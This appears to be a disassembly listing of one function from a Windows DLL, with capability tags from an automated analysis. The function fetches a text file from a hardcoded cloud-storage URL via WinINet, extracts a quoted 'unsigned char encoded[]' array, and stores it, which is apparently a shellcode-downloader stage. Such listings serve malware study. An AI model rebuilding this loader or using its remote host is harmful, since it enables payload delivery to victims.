Function at 0x180002070
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x390]
sub rsp, 0x490
mov rax, qword [0x180076040]
xor rax, rsp
mov qword [rbp + 0x380], rax
xor ebx, ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 1]
lea rcx, str.HTTP_GET
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
test rax, rax
je 0x180002370
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__7362781274_1326990941.cos.ap_chongqing.myqcloud.com_cs_1015.txt
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
jne 0x180002109
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x180002370
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], bl
lea r9, [rsp + 0x50]
mov r8d, 0x3ff
lea rdx, [rbp - 0x80]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1800021e0
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x1800021e0
mov edi, eax
cmp rax, 0x400
jae 0x1800027a3
mov byte [rbp + rax - 0x80], 0
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x1800021a7
lea rax, [rcx + rdi]
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0x58]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x58]
add rbx, rcx
mov r8d, edi
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.180020530
mov byte [rdi + rbx], 0
jmp 0x1800021c0
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x80]
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.1800035c0
lea r9, [rsp + 0x50]
mov r8d, 0x3ff
lea rdx, [rbp - 0x80]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x180002143
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rsi, [rsp + 0x58]
mov r15, qword [rsp + 0x70]
cmp r15, 0xf
seta r13b
mov rdi, qword [rsp + 0x58]
cmova rsi, rdi
mov r14, qword [rsp + 0x68]
cmp r14, 0x1b
jb 0x180002279
lea r12, [r14 + rsi]
lea r8, [r12 - 0x1a]
sub r8, rsi
mov edx, 0x75
mov rcx, rsi
call fcn.180020f70
mov rbx, rax
test rax, rax
je 0x180002279
nop dword [rax]
mov r8d, 0x1b
lea rdx, str.unsigned_char_encoded_____
mov rcx, rbx
call fcn.180021010
test eax, eax
je 0x1800022b5
inc rbx
lea r8, [r12 - 0x1a]
sub r8, rbx
mov edx, 0x75
mov rcx, rbx
call fcn.180020f70
mov rbx, rax
test rax, rax
jne 0x180002240
cmp r15, 0xf
jbe 0x180002370
lea rdx, [r15 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x180002368
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000279d
jmp 0x180002368
sub rbx, rsi
cmp rbx, 0xffffffffffffffff
je 0x180002279
lea rsi, [rbx + 0x1b]
lea rbx, [rsp + 0x58]
test r13b, r13b
cmovne rbx, rdi
cmp r14, 2
jb 0x180002339
lea rax, [r14 - 2]
cmp rsi, rax
ja 0x180002339
lea r12, [r14 + rbx]
lea rcx, [rbx + rsi]
lea r8, [r12 - 1]
sub r8, rcx
mov edx, 0x22
call fcn.180020f70
mov rcx, rax
test rax, rax
je 0x180002339
nop
cmp byte [rcx], 0x22
jne 0x18000230f
cmp byte [rcx + 1], 0x3b
jne 0x18000230f
xor eax, eax
jmp 0x180002314
sbb eax, eax
or eax, 1
test eax, eax
je 0x1800023a2
inc rcx
lea r8, [r12 - 1]
sub r8, rcx
mov edx, 0x22
call fcn.180020f70
mov rcx, rax
test rax, rax
jne 0x180002300
cmp r15, 0xf
jbe 0x180002370
lea rdx, [r15 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x180002368
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000279d
mov rcx, rdi
call fcn.180006aa0
xor al, al
mov rcx, qword [rbp + 0x380]
xor rcx, rsp
call fcn.180006a80
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
sub rcx, rbx
cmp rcx, 0xffffffffffffffff
je 0x180002339
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
cmp r14, rsi
jb 0x1800027a9
sub rcx, rsi
sub r14, rsi
cmp r14, rcx
cmovb rcx, r14
lea rdx, [rsp + 0x58]
test r13b, r13b
cmovne rdx, rdi
add rdx, rsi
mov r8, rcx
lea rcx, [rsp + 0x30]
call fcn.180003750
nop
lea rcx, [rsp + 0x30]
mov rax, qword [rsp + 0x40]
cmp qword [rsp + 0x48], 0xf
jbe 0x180002419
mov rcx, qword [rsp + 0x30]
lea rdi, [rcx + rax]
lea rbx, [rcx + rax]
jmp 0x18000242a
lea rdi, [rcx + rax]
lea rbx, [rsp + 0x30]
add rbx, rax
lea rcx, [rsp + 0x30]
mov rsi, rdi
mov r8b, 0xa
mov rdx, rbx
call fcn.180006450
mov rcx, rax
cmp rax, rbx
je 0x18000245d
inc rax
cmp rax, rbx
je 0x18000245d
movzx edx, byte [rax]
cmp dl, 0xa
je 0x180002455
mov byte [rcx], dl
inc rcx
inc rax
cmp rax, rbx
jne 0x180002448
lea rax, [rsp + 0x30]
mov rdx, rcx
cmp qword [rsp + 0x48], 0xf
jbe 0x180002477
mov r8, qword [rsp + 0x30]
sub rdx, r8
jmp 0x180002482
sub rdx, rax
mov rsi, rdi
lea r8, [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov rax, rdi
sub rsi, rcx
sub rax, rdx
cmp rax, rsi
cmovb rsi, rax
lea rcx, [r8 + rdx]
sub rdi, rsi
mov r8, rdi
sub r8, rdx
inc r8
lea rdx, [rcx + rsi]
call fcn.180020530
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
jbe 0x1800024d0
mov rcx, qword [rsp + 0x30]
lea rbx, [rcx + rdi]
add rdi, rcx
jmp 0x1800024e1
lea rbx, [rax + rdi]
lea rax, [rsp + 0x30]
add rdi, rax
lea rcx, [rsp + 0x30]
mov r8b, 0xd
mov rdx, rdi
call fcn.180006450
mov rdx, rax
cmp rax, rdi
je 0x180002515
inc rax
cmp rax, rdi
je 0x180002515
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, 0xd
je 0x18000250d
mov byte [rdx], cl
inc rdx
inc rax
cmp rax, rdi
jne 0x180002500
lea rax, [rsp + 0x30]
sub rbx, rdx
mov rdi, qword [rsp + 0x40]
cmp qword [rsp + 0x48], 0xf
jbe 0x180002534
mov rcx, qword [rsp + 0x30]
sub rdx, rcx
jmp 0x18000253c
sub rdx, rax
lea rcx, [rsp + 0x30]
mov rax, rdi
sub rax, rdx
cmp rax, rbx
cmovb rbx, rax
add rcx, rdx
sub rdi, rbx
mov r8, rdi
sub r8, rdx
inc r8
lea rdx, [rcx + rbx]
call fcn.180020530
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
jbe 0x180002581
mov rcx, qword [rsp + 0x30]
lea rbx, [rcx + rdi]
add rdi, rcx
jmp 0x180002592
lea rbx, [rax + rdi]
lea rax, [rsp + 0x30]
add rdi, rax
lea rcx, [rsp + 0x30]
mov r8b, 0x20
mov rdx, rdi
call fcn.180006450
mov rdx, rax
cmp rax, rdi
je 0x1800025c5
inc rax
cmp rax, rdi
je 0x1800025c5
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, 0x20
je 0x1800025bd
mov byte [rdx], cl
inc rdx
inc rax
cmp rax, rdi
jne 0x1800025b0
lea rax, [rsp + 0x30]
sub rbx, rdx
mov rdi, qword [rsp + 0x40]
cmp qword [rsp + 0x48], 0xf
jbe 0x1800025e4
mov rcx, qword [rsp + 0x30]
sub rdx, rcx
jmp 0x1800025ec
sub rdx, rax
lea rcx, [rsp + 0x30]
mov rax, rdi
sub rax, rdx
cmp rax, rbx
cmovb rbx, rax
add rcx, rdx
sub rdi, rbx
mov r8, rdi
sub r8, rdx
inc r8
lea rdx, [rcx + rbx]
call fcn.180020530
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
jbe 0x180002631
mov rcx, qword [rsp + 0x30]
lea rbx, [rcx + rdi]
add rdi, rcx
jmp 0x180002642
lea rbx, [rdi + rax]
lea rax, [rsp + 0x30]
add rdi, rax
lea rcx, [rsp + 0x30]
mov r8b, 0x22
mov rdx, rdi
call fcn.180006450
mov rdx, rax
cmp rax, rdi
je 0x180002675
inc rax
cmp rax, rdi
je 0x180002675
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, 0x22
je 0x18000266d
mov byte [rdx], cl
inc rdx
inc rax
cmp rax, rdi
jne 0x180002660
lea rax, [rsp + 0x30]
sub rbx, rdx
mov rdi, qword [rsp + 0x40]
cmp qword [rsp + 0x48], 0xf
jbe 0x180002694
mov rcx, qword [rsp + 0x30]
sub rdx, rcx
jmp 0x18000269c
sub rdx, rax
lea rcx, [rsp + 0x30]
mov rax, rdi
sub rax, rdx
cmp rax, rbx
cmovb rbx, rax
add rcx, rdx
sub rdi, rbx
mov r8, rdi
sub r8, rdx
inc r8
lea rdx, [rcx + rbx]
call fcn.180020530
mov qword [rsp + 0x40], rdi
mov qword [0x180078cf0], rdi
lea rcx, [rdi + 1]
call fcn.180006dac
mov rdi, rax
mov qword [0x180078cf8], rax
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rdx, qword [rsp + 0x30]
mov rbx, qword [0x180078cf0]
mov r8, rbx
mov rcx, rax
call fcn.180020530
mov byte [rdi + rbx], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x180002740
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000273b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002797
call fcn.180006aa0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x180002790
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000278b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000279d
call fcn.180006aa0
mov al, 1
jmp 0x180002372
call fcn.18000d970
nop
call fcn.18000d970
nop
call fcn.180006c18
int3
call fcn.1800030f0
int3